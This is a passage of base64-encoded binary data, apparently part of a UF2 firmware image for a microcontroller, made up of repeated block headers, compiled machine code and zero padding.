DQAQAAEAAA0AAAADAQAAVv+L5A3Q+2sEmhsDEgObDZINmkIA0AjhgCMEmhsGGkMEkh2bACsI0ASb
ooobA5sNk0IA2RMAHZoTgASbACsA22vnGAOjioANg0IA2QrhACMEk2LnBpj/97/9u27aaQWbwBiQ
QqHY4CAGm8AAGw2gIQNABCDJAAmQi0I+0RSrAZMFmwKQGxgAkzkAI2gHmP/3H/4FHoXRFJsOmpNC
hdEPmwaaGw3bB1pABpIOqQQi+GoA8Ab9+GIPmP/3jv0Fm8AYBpvgYCNhCJujghKbo2ETm+NhC5vj
dQEjW0IOkzMABpoElgmSHgBH5wEiDpgUqQDw5/wJmw6QATMJkw+Y//ds/QmaI2gAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAAAO
ABAAAQAADgAAAAMBAABW/4vkkEIU2QEhApEUqQWYAZEJmbpuCRgAkdJpOQAHmP/31v0FHt/QAwBU
M3vRACOjdeAh4CAPm8kAGg3AABFAAkIf0QiaGwObDZpCAdgBMwiTD5kcmw2aS0AaQAmSDZoaQknR
I2gfmBSTBZsUqgQzFZMem5hHBR462gMAVDNS0QmbE+eAIMAAgUIZ0QiZUrKJGImyNUgIkTVJMEAB
Q4tCA9GAIxsGHkPT53Ec0dAbAzEDmw2JDYtCy9iSApYZyOfAI9sAmULE0QEjGkAHMwKTEqsBkwWb
C5IEM7puAJM5ACNo0mkHmP/3c/1UMLHR3OYPmQAoA9EOADMABJ5v5zMAHEpLQAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAAA8A
EAABAAAPAAAAAwEAAFb/i+QTQgvQAij10TIDCwOSDZsNmkLv04AmNgYOQ+vnASZ2QujnBJV35gSZ
ATEA0ffmmkIA2PTmD0oEm5RGY0QEk+7mI2hiaGNgCpsiYJsAEKqbWKNgDJsBKwDRMeYBIwyTdeYC
Iy3mpCMAIAD8DwAAAPBPAPz/fwD8///wtRwAy2iNsAaTC2kGADwwC5MPAAmS//fz/QmbGwObDQiT
ACMFk5hCENAImwArDdDzaxoDIwOSDZsNk0KbQYAi0gATQDhKlEZjRAWTC50oAP/3hPwGmgMdk0Iy
2AabMQAbGgaTMwBoMweTBCMCkwurAZMGmwQiAJMHmDto//fq/AEeINELmxu6AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpVRjIKV1FdngAgAAAAEAAQ
AAEAABAAAAADAQAAVv+L5GtAWwBbCAuTCJsAKx/Q4CGAIisNyQDSABlAkUIX0QWaoRoIAyoDgA2S
DZBCD9MdShFAHUoRQ6lCBNECIUlCCAANsPC9BZpbspsCmxgFkwWbCZrjGmtAGkK00awFoxUBM+vQ
FJukDZxCANkcABObBpoBkxKbMQAEM5sYAJMiADtoB5gClP/3ovwBHtjRFJsaGxObGBkB8Or4BZtZ
Gc/nwEYA/P//APwPAAAAEEAftZwFpA0ClAacAZQAJACU//dc/wSwEL3wtZGwCpMTaAYABpMKmwWR
C5IAKwLQS0sKmhOAMmoFm0lMmmFyatphSE0GmCkAAfB1+QabKQAfGDgAAfAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAAARABAA
AQAAEQAAAAMBAABW/4vkVfkHkAEoBtE7eC4rDdEHm/sYBpPq5webAisG0QIiOAA8SQHwsfgAKPHQ
B5v7GB0ABpMBIwiTKAA1SQHwUfktGCgAM0kB8DL5CZAAKBXQAigN0QIiKAAvSQHwlvgAKAbRCJsB
OwiTACsE0asc0ecImwEzCJMJm+0Y3ec7eAArPdALmx9gIw0CKzvRH0skA6QNnEIl0fAl7QUvITgA
AfCc+EJCUEENqgOSG0oKmweZQEICkgWaA0APkQGTAJErADAABZkYMg2WDpf/9+78BB4V2wAoi9EF
m9t9ACvd0QI8DeAOS6QCHEMFmzAAGDMAkwxKIwAFmf/3Wv8EHsvaIAARsAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAABIAEAAB
AAASAAAAAwEAAFb/i+TwvRQkZEL55/8DAAAA/C8AlCMAIJYjACAhCQAgCAAAIAD8D3DwtQQAgWYI
a5mw4GAAKAPQS2sAKwPR42EMIEBCzeABJYpq42H/IQHwD/ijbm1Cmmr/IeBpJWAB8Af4o24lYZpr
ACoB0WJm5+diZtprACpK0OJmGmwAKkjQW2wiZwArRtBjZwEjW0IjYmNiIwAAJSYAPDMYAAwiKQCl
YuViMDYEkwDw4v8MIikAMAAA8N3/IAAMIikASDAA8Nf/HCIpABCoAPDS/wEjF5MWmwEzAtAXmwEz
HtEjagEzUNBjagEzTdAia9MPmxgjYwSbB84Hw6Nu4GodaikAAPAD/wAgAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpVRjIKV1FdngAgAAAAEwAQAAEA
ABMAAAADAQAAVv+L5GFloGXgZSVmaeD/IrLnPEq05zxLtuejbhtqWwirQgDYbOAHqwOTOEs4SgKT
ACMIkggiAZM2SwmSAJMgADVLFqoQqQE1B5T/9y/8AChH2znQgAWAFUMcNdAQmwqvI2IRmyAABZNj
YitKK0sAlxCp//ed/gAoM9sKm5qyGwwCKwHQFiBc5wAq+9H7aAArA9DibpNC9djjZjtpACsD0CJv
k0Lu2CNne2kAKwPQYm+TQufYY2ejbrpoGWqKQuHRemjbaZpC3dEKqwCTIAAUSxRKEKn/92z+ACgE
2oMcANF25xmw8L0jawqaU0AjYwuaY2tTQGNjDJqja1NAo2Nn51QgHucAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAAAUABAAAQAA
FAAAAAMBAABW/4vk////f/4DAAAhCQAgmSMAIAgA8A8A/P9/GAAQIAwA8H8AAPB/8LUPAAtjACOJ
sAeSDpoINwplS2PLY8tkDAALHQeqOQAGAP/3Pf4FHgjagxxh0UpLooiaQgLRAiVtQlrgASOjcbNq
I2C0Yqsc9dBtAG0NAS0A0HzgoohBS5ICE0MiACgyAJI5ADAAPkr/9w7+A5AAKADabuAAIwWVBJMj
bQSamWiKQhTTGGjgZAAoN9Czbv8hmmoA8Nn+ASNbQiNkMUoDmxsNk0Is0AAlKAAJsPC9ImsFmQpC
A9EEmwEzBJPd5wwiwCAEmVtoSkOaGKOIkWibAgtDEXiAAFJoCRgJBQAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAABUAEAABAAAV
AAAAAwEAAFb/i+QLQwCSOQAwACBK//fP/QUe49qDHOHQIQAwAP/35vnV5wwlm+cDmyFrmAWAI1sD
C0MjYwAjAiJjZLNuUkKbaoANomLgYiJko2S/0KKIEEmSAotCANkLABNDgCKSBRND4mw5AACSMAAH
Sv/3oP0FHqza0ecVJXLnA53N58BG/wMAAAgAACAA/A9wAQIAAAD8/3/+AwAA8LWXsAwACpJKa8lq
BwAAIIpCANPk4IoaCJKaQgDZCJMImwaTBpsAKwHRCJjY4IAiI2vSArhuE0ID0OJrwWmKQhPRgCFJ
A2JrC0J50aFq42oTkRSSACs70QEiUkKiY+NjgCMia9sCE0MjY7tuAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpVRjIKV1FdngAgAAAAFgAQAAEAABYA
AAADAQAAVv+L5OZr22kGmgmTmxsFk5NCANkFkoAiI2tSAxNCANGs4CMACDMQk6OIXkqbAhpDBZsR
kgma8xiaQgDSr+AKmwuTBZsHkwebACtK0QWaY2uURpsYY2Pja5sY42MKm2NECpMGm5saqOciAAE7
QDIVqQmSFZP/90j5FKkGALhu//dD+QWQE5sHkwWbs0ID0webo2MUm6/nBZvwGgDwI/0FADAAAPAl
/SAjXRsBPYVCANkFAAQjOAACkxOrAZOrAACTBCIHmwmZaDD/94L5AChT0QEjq0D2GtXnAiNbQqNj
4mOK5+NsD5MjbAIzGdFhbKNszRiuQhTSjkIS0webrRudQgDZHQAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAAAXABAAAQAAFwAA
AAMBAABW/4vkD5txGlkYKgALmADwtf0Lm3YZWxkLkwebWxuR5wIjW0IjZLtuMAANk1tpGQAMkwDw
6fxzGgyaDpNjZAmbEQCdGAE9rRkoAADw3fwNm20am2qdQgDZHQAPmzgAAZMOmxFKAJMQmRGbpWQC
lf/3BfwAKADbZucXsPC9IQA4AAWbCZoCkwqbAJYBk0Axo2toMP/3HfkAKADRV+fs51QgQELp5wAA
ECAA/Pf/ACMQtRoA//fJ+AAoAN0AIBC9AABwtQ8lCkyKGJFCANFwvQt4BglYQChAgAAAWRsJRkBz
QCtAmwAbWTAJWEABMeznwEasIwAg8LUEAAMAACWJsCA0HYACMwAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAABgAEAABAAAYAAAA
AwEAAFb/i+SjQvvRCwBWGJ5CDtEAIxwAA4BtRlxTxVoCM2QZICv40QAkokII0Qmw8L0ceAEzZAAF
WwE1BVPn5w1dAC0I0GtGb0ZtAFtbXhwQM1sAflMcUgE05ucDaEJoELWTQgPSWhwCYBh4EL2DaIQd
ACsH0OJ/ACoE0ZhHACgB28Cy8ucBIwAg43fu5wNpELVaHgQAAmEAKwTR//fe/wcj4GAjYeBoQwjj
YAEjGEAQvfe1ACUGAAGSqUIE0AEkJwCPQLxCAtMBm1gZ/r0wAP/33f8AKADQLRlkAPLn97UAJQsA
DgAsACAzAZCPHACTAZj/98z/AJttACgYn0IL0D2IAjcqGUUbAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpVRjIKV1FdngAgAAAAGQAQAAEAABkAAAAD
AQAAVv+L5ATVJBgQNGQAoFv+vRQA6+cDIEBC+ecAAPC11bADkgIiDgD/MgUhBQD/97//ASIFIQCQ
KAD/97n/BCIBkBEAKAD/97P/ACMHABoABKlaVAEzEyv60QAkvEIc0RMiMAAEqf/3Rv8BmgAklEYA
m2NEApMCm5xCGdMwAACaBKn/9zj/AJsEqpsYA5gZAAGa//cw/wAgGuAAIgMhKAD/94b/G0sEquNc
ATTQVNXnMQAoAP/3kv8AKAnbESgh0BIoI9AQKBnRACwD0QMgQEJVsPC9AyICIVSrGxlCO/87H3go
AP/3ZP8CmyAYmELt2KBCwNAEq+dUATT55wSrGFUBNLjnAyIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAAAaABAAAQAAGgAAAAMB
AABW/4vkEQAAJ+rnCyIHIfrn7CMAIHBHACMQtYQd43cBJGRCA2HDYoRiwmOBYwNkA2MQvQAA97WA
JgQAdgCjagEzANCT4CAApWr/9x//ACLgYgIhIAD/9yv/oGIBKHnRAS1j0CEAACMIMaId04cCMYuH
y4cCMcuHAjHLh0AxC4BLgCMAGCFSMxmAgDFZgCg5mYAhADMAGDBkMf8wC4ABM5uyAjGDQvnRIAAA
I5QwWQBDUgEzkCv60dchjCBJAEAAUFIaIAIx/zBQUgIxATBQUhwgAjH/MFBSAjEBMFBSHiACMf8w
UFICMQEwUFIgIAIx/zBQUiIAxTL/MhOAATObsgIys0L50QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAABsAEAABAAAbAAAAAwEA
AFb/i+SpIgAjICGSAKNSohhRgVOAk4DTgBOBsSKSAKEYWgCLUgEzICv60SNrACsA0IvgIQAgAEQx
//fP/qMd238AKxnR/yhX3KNpwLJaHKJhPeACKArRqSMhAJsAIADiGEQx//fb/gAoANCn4KNqACsF
0AE7ASvY2QMgQEKe4CdrAC8Z0SAA//dn/gUAIAD/92P+AAJFGSAA//de/gGQIAD/91r+AZsAAsAY
RktYQIVC4tEBNSVjJ2EjawE7I2MAK3fQIAD/90j+o2laHKJhGHCiawAqCdAjbFkcIWTQVCNs4muT
QgHRACMjZKNp4mmTQgDSI+cAIGHgsEJa0AI4/zgcKLncAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpVRjIKV1FdngAgAAAAHAAQAAEAABwAAAADAQAA
Vv+L5DBLQgDSWjBLGVwgAP/3Tf6pI5sAIGPhGCAA//dc/h0oqNwqS0IA0lopSxlcIAD/9zz+o2sA
KyzQ42uYQj3YImwQGiTUYGOha6NpYmsAKSjQWBygYYpcGnCjawArC9AibFEcIWRha1lcmVQjbOJr
k0IB0QAjI2Rja+JrATNjY5NCAdEAI2NjI2sBOyNjq+cYGNjno2liaZsamEIA2WrnQELQ55pcGnCj
aQEzo2Hr5+NqACsA0cTmASD+vQUgW+fARv//AABaJAAgliQAIAAkACA8JAAgcLUFAAwAATwA0nC9
KAD/97f9+OdwtQQA//ey/QUAIAD/9679AAIoQ4CycL0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAAAdABAAAQAAHQAAAAMBAABW
/4vkcLUEAP/3pv0GAB8oAtADIEBCcL0gAP/3nf2LKPfRIAD/95j9CCjy0SAA//eT/QMAs0PbsgUA
ACvp0QYhIAD/98n/awcG1SAA//fO/wEAIAD/98D/KwcE1SAA//d7/QAo+tHrBgTVIAD/93T9ACj6
0QImNUIC0CAA//e2/2Md3ncBI1tCACAjYsPnFCMQtQEAGIgEMxuImEcQvRYjELUBABiIAjMbiJhH
EL1wtQQAASaJAEUYrEIB0TAAcL0gaP/35P8BxEMemEFAQgZA8ucAAAVLBkoTYAZKE2BTYJNg02AT
YVNhk2FwR4CAgIAA5ADgBOQA4AAhBEsESr/zX48CwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAAB4AEAABAAAeAAAAAwEAAFb/
i+STQvrRcEfARgABANCAAQDQBEoQeEMc27IXKwHYE3BwRxAj++fUJAAgAkvJGIkAAWBwR8BGQAAA
NHBHELUEAP/35/8BACAA//fv//8jI3G/81+PEL0QtQQA//fa/wEAIAD/9+L//yOjgL/zX48QvQAA
+LUEAAwgFwAeAA0AAPBC+R1JQUM4AADwPfkGmjMEEgMTQyJoACoP2j8hImgKQKpCCtGiaBIFEg2C
QgXR7iHiaMkCCkCaQhvQEEqUQhnQgCJSAQ9JD04KYA9JCmAXALFoj0P70cAiIR2SAQpDISElYKBg
EWAhaAAp/NrjYAgjE2D4vYAikgHk50BCDwAAwAJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpVRjIKV1FdngAgAAAAHwAQAAEAAB8AAAADAQAAVv+L
5ADgAEAAwABAAPAAQIAjAkqbAAND02JwRwCABUACSxpoAktaYHBHwEbsKQAgAIAFQAMAgCASSsAF
ELUSTBBgEkgEYOAgEUzABAApBtAgYAArBdGAIxsGI2AQvRBg9+f6IIAiwABYQ1IECUuQQgXSGGD/
99T/gCPbBe3nBkoaYPfnALAFQPz/AQAIIAFAAKAFQOwpACD///8AcLUEABAAgCIKS9IFGmAKSwAs
DNABJQlKLEPaYQhKYkAaYllinGIAIf/3tv9wvdxh+efARgCwBUAAgAVA08AHsC0/+E+qIgZLEgEa
YCEy/zLaYARJBEoRYFpoACr82nBHAEACQACw+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAAAgABAAAQAAIAAAAAMBAABW/4vk
AGACQCNLJEpwtRpgI0okTBUAJEsjYBgAkWiIQ/vRIk4iS55CJNP+9/f7IUsjYKto2wGAM/vRQCIe
Sx9ImmdaZxpn2mYdS5hCFdMdTB1NoWjAIigAAPAQ+aVg//fL/v/3t/7/9+n+GEwYS5xCD9NwvQjO
mEfU5wQAA2gINAArA9D/9+j+IADd5//31/765wjMmEfp5wDgAEC/zfv+AMAAQADwAED+fzwACCUA
IBglACD///8BAPABQAAlACAIJQAgAO0A4AAAACAYJQAgHCUAIAFIBCEBSxhH4CQAINMbACABS1to
GEcAAOAkACABS5toGEcAAOAkACABSxtoGEcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAACEAEAABAAAhAAAAAwEAAFb/i+Tg
JAAgEUqTb5sIE9IQZlFmACkF0P/n/+f/51FvEG9wRwS1ACgB0AAgwEMA8Kv4ACEEvcBG8LUUblVu
V28Wb//35f8UZlVmV2cWZ/C9AAAA0BMjcLUceA9NASwO0QAjDkmaAAEzqVAgK/rRC0urZAtI//cL
/gpLGGBwvQEs9d0JSP/3C/6AIgEAKAAA8HX4Aizt0ern/NMAINEfACBMMwAA9C4AIFNEAAAHtWBG
AYgKCgIw3yr60cmygggE0wKIQIgABBBDAOAAaAFKUFADkAe9/NMAIBMjELUQSBx4//fd/QEAASwT
0Q5MVCIgAADwRPgVIwxKmQABM2JQICv60SJiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAADBvsQpVRjIKV1FdngAgAAAAIgAQAAEAACIAAAADAQAAVv+L5OJh
CUj/98H9CEsYYBC9ASz33YAiAkgA8C/48udTRgAA/NQAIFkgACBMMwAA9C4AIAe1YEYBiAoKAjDf
KvrRybKCCATTAohAiAAEEEMA4ABoAUpQUAOQB7381AAgAUgEIQFLGEfwJAAg0xsAIAFLG2gYRwAA
8CQAIAFLW2gYRwAA8CQAIHBHwEYwtQMqDNkDAAtDmwcc0QNoDGijQhjRBDoEMAQxAyr22FUeACoO
0AJ4DHiUQg7RATUBIwE5BODCXAEzzFyiQgXRq0L40QAgML1VHuznEBv65wMjyrLwtQNAACo50AAr
DtADeAArV9CaQjHQAyQE4AN4ACtQ0JNCKtAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAAAjABAAAQAAIwAAAAMBAABW/4vkATAg
QvfR/yUpQA0CKUMNBA1DLAABaCNOTECLGYtDoRmhQyFOC0MzQgvRBDABaB1PDADLGWxAi0PhGaFD
C0MzQvPQA3gAKwTRKeABMAN4ACsl0JpC+dHwvQArCtADeAAr+dADIgLgA3gAK/TQATAQQvnRAmgL
SwxJ0xiTQwtCBtEEMAJoB0vTGJNDC0L40AN4ACvg0AEwA3gAK/vR2+cAINnnwEb//v7+gICAgHC1
